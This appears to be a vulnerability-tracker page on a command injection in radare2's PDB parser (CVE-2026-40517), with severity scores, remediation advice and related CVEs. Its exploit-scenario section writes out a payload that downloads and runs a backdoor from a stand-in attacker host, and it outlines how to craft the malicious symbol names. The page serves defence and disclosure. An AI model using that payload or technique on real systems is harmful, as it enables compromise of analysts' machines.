Skip to main content

radare2 CVE-2026-40517

| EUVDEUVD-2026-25119 HIGH
OS Command Injection (CWE-78)
2026-04-22 VulnCheck GHSA-3xv9-7r7g-8q6f
8.4
CVSS 4.0 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Deliver malicious PDB file
  2. Delivery
    Victim opens in radare2
  3. Exploit
    Execute 'idp' command
  4. Execution
    Inject commands via symbol names
  5. Persist
    Execute arbitrary OS commands
  6. Impact
    Establish persistence or exfiltrate data

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the victim to open a malicious PDB file in radare2 and explicitly execute the 'idp' command to parse PDB symbols, which triggers the print_gvars() function containing the vulnerability. This is a common workflow for reverse engineers analyzing Windows binaries with debugging symbols but is not automatic upon file opening. The PDB file must be crafted with newline characters embedded in symbol names followed by valid radare2 command syntax including shell execution operators. Radare2 must be configured to allow shell command execution (default configuration). Attack is limited to local execution context (AV:L) where the victim has already obtained or been delivered the malicious file, excluding remote network-based exploitation. User interaction is mandatory (UI:A) as the 'idp' command requires deliberate analyst action. No authentication or elevated privileges are required (PR:N). The vulnerability affects radare2's core PDB parsing functionality across all platforms, so exploitation is not limited to specific operating systems, though PDB files are primarily associated with Windows development environments making Windows reverse engineering scenarios most likely.

Impact

Real-world risk is moderate despite the 8.4 CVSS score due to requiring user interaction (UI:A) and local attack vector (AV:L). The vulnerability requires a victim to deliberately open and analyze a malicious PDB file using radare2's 'idp' command, which limits exploitation to targeted attacks against reverse engineers, malware analysts, and security researchers. However, publicly available exploit code significantly lowers the barrier to weaponization. The attack complexity is low (AC:L) with no privileges required (PR:N), meaning any attacker can craft the malicious file. The high impact ratings (VC:H/VI:H/VA:H) are justified as successful exploitation grants arbitrary command execution with full victim user privileges, enabling data theft, malware installation, or lateral movement. Without EPSS data, exploitation probability assessment relies on attacker motivation: reverse engineering tools are niche targets, but their users often handle untrusted binaries making social engineering plausible. The public technical disclosure at blog.calif.io with 0-day discovery details increases likelihood of copycat exploitation. Priority should be HIGH for organizations using radare2 in malware analysis or binary research workflows, MEDIUM for general development environments where radare2 may be installed but rarely used for analyzing untrusted PDB files.

Exploit ScenarioDerived

An attacker discovers a malware researcher analyzing suspicious binaries using radare2. The attacker crafts a seemingly legitimate Windows executable with an embedded malicious PDB file where symbol names contain newline characters followed by radare2 command injection payloads like '!cmd.exe /c curl attacker.com/backdoor.exe -o %temp%\m.exe && %temp%\m.exe'. The attacker delivers this binary via security research forums, malware sample sharing platforms, or targeted phishing as a 'new ransomware variant' or 'interesting APT sample'. When the researcher opens the binary in radare2 and executes the 'idp' command to load PDB symbols for analysis, the injected commands execute with the researcher's privileges, downloading and running the attacker's backdoor. Publicly available exploit code at blog.calif.io demonstrates proof-of-concept exploitation mechanics.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 23, 2026

Command injection in radare2 PDB parser (versions before 6.1.4) enables arbitrary OS command execution when users analyze malicious PDB files. Publicly available exploit code exists. Attackers craft PDB files with newline characters in symbol names to inject radare2 commands during flag renaming operations, which then execute OS commands via radare2's shell operator when victims run the 'idp' command. CVSS 8.4 reflects local attack vector requiring user interaction, though EPSS data not available. Patch released in version 6.1.4 with detailed technical disclosure at blog.calif.io showing 0-day discovery process.

RemediationAI

Upgrade to radare2 version 6.1.4 or later, which contains input sanitization fixes in the PDB parser's print_gvars() function as documented in GitHub PR #25731 (https://github.com/radareorg/radare2/pull/25731). Installation instructions available at radare2 official repository. If immediate upgrade is not feasible, implement the following compensating controls with noted limitations: (1) Restrict analysis of PDB files to trusted sources only, though this reduces radare2's utility for malware analysis workflows; (2) Execute radare2 in sandboxed environments (containers, VMs with limited network access) when analyzing untrusted PDB files, which contains but does not prevent exploitation within the sandbox; (3) Disable or restrict radare2's shell execution operator through configuration if workflow permits, though this breaks legitimate automation scripts; (4) Monitor radare2 process execution for suspicious child processes or network connections using EDR tools, providing detection but not prevention. None of these workarounds fully mitigate the vulnerability; upgrading to 6.1.4 is the only complete solution. Review security advisory at blog.calif.io/p/mad-bugs-discovering-a-0-day-in-zero for technical details and exploit indicators.

Affected VersionsENISA

radare2 0 <6.1.4

Affected Packages

euvd radare2 fix: 6.1.4

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

radare2 is an open-source reverse engineering framework used for binary analysis, disassembly, and debugging. The vulnerability exists in the PDB (Program Database) parser component, specifically in the print_gvars() function that processes Microsoft PDB debugging symbol files. PDB files contain debugging information including symbol names, which radare2 parses to create internal flags for analysis. The root cause is CWE-78 (OS Command Injection) stemming from unsanitized interpolation of user-controlled data (PDB symbol names) into radare2's flag rename command. When symbol names contain newline characters, they break out of the intended command context and inject arbitrary radare2 commands. Since radare2 supports a shell execution operator for running OS commands, this command injection escalates to arbitrary code execution with the privileges of the radare2 process. The affected CPE cpe:2.3:a:radareorg:radare2 covers all versions prior to 6.1.4 across all platforms where radare2 operates (Linux, Windows, macOS).

Know when Radare2 gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 8.4 HIGH
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE 7.8 HIGH
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

4
PoC Detected
Apr 27, 2026 - 17:04 vuln.today
Public exploit code
CVSS changed
Apr 22, 2026 - 22:22 NVD
7.8 (HIGH) 8.4 (HIGH)
Patch released
Apr 22, 2026 - 22:16 nvd
Patch available
CVE Published
Apr 22, 2026 - 21:44 nvd
HIGH 8.4

DescriptionCVE.org

radare2 prior to 6.1.4 contains a command injection vulnerability in the PDB parser's print_gvars() function that allows attackers to execute arbitrary commands by crafting a malicious PDB file with newline characters in symbol names. Attackers can inject arbitrary radare2 commands through unsanitized symbol name interpolation in the flag rename command, which are then executed when a user runs the idp command against the malicious PDB file, enabling arbitrary OS command execution through radare2's shell execution operator.

Executive ViewAI

Why It Matters

radare2 versions before 6.1.4 contain a command injection vulnerability in the PDB parser that allows attackers to execute arbitrary operating system commands when users analyze malicious PDB files. This affects security researchers, reverse engineers, and malware analysts who rely on radare2 for binary analysis, potentially compromising their systems and research integrity when processing untrusted samples.

Business Impact: High
Compensating Controls

Apply vendor patch to radare2 version 6.1.4 or later. Until patched: disable or sandbox radare2 PDB analysis functionality; implement file origin verification and only process PDB files from trusted, verified sources; run radare2 in isolated environments with minimal system privileges.

Threat Intelligence Overview

EPSS Score
0.0%
Top 94% exploitable
Exploit
POC
Public exploit code exists
Social Media
2
Sightings
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor CIRCL GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

62
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +42
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2023-46570 CRITICAL POC
9.8 Oct 28

An out-of-bounds read in radare2 v.5.8.9 and before exists in the print_insn32 function of libr/arch/p/nds32/nds32-dis.h

CVE-2023-46569 CRITICAL POC
9.8 Oct 28

An out-of-bounds read in radare2 v.5.8.9 and before exists in the print_insn32_fpu function of libr/arch/p/nds32/nds32-d

CVE-2023-4322 CRITICAL POC
9.8 Aug 14

Heap-based Buffer Overflow in GitHub repository radareorg/radare2 prior to 5.9.0. Rated critical severity (CVSS 9.8), th

CVE-2026-6942 CRITICAL POC
9.3 Apr 23

OS command injection in radare2-mcp (the Model Context Protocol server that bridges the radare2 reverse-engineering fram

CVE-2022-1899 CRITICAL POC
9.1 May 26

Out-of-bounds Read in GitHub repository radareorg/radare2 prior to 5.7.0. Rated critical severity (CVSS 9.1), this vulne

CVE-2022-1297 CRITICAL POC
9.1 Apr 11

Out-of-bounds Read in r_bin_ne_get_entrypoints function in GitHub repository radareorg/radare2 prior to 5.6.8. Rated cri

CVE-2022-1296 CRITICAL POC
9.1 Apr 11

Out-of-bounds read in `r_bin_ne_get_relocs` function in GitHub repository radareorg/radare2 prior to 5.6.8. Rated critic

CVE-2023-5686 HIGH POC
8.8 Oct 20

Heap-based Buffer Overflow in GitHub repository radareorg/radare2 prior to 5.9.0. Rated high severity (CVSS 8.8), this v

CVE-2026-40499 HIGH POC
8.4 Apr 15

Command injection in radare2's PDB parser (versions <6.1.4) enables arbitrary command execution when analysts process ma

CVE-2017-16357 HIGH POC
7.8 Nov 01

In radare 2.0.1, a memory corruption vulnerability exists in store_versioninfo_gnu_verdef() and store_versioninfo_gnu_ve

CVE-2017-15932 HIGH POC
7.8 Oct 27

In radare2 2.0.1, an integer exception (negative number leading to an invalid memory access) exists in store_versioninfo

CVE-2017-15931 HIGH POC
7.8 Oct 27

In radare2 2.0.1, an integer exception (negative number leading to an invalid memory access) exists in store_versioninfo

Vendor StatusVendor

SUSE

Severity: High

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy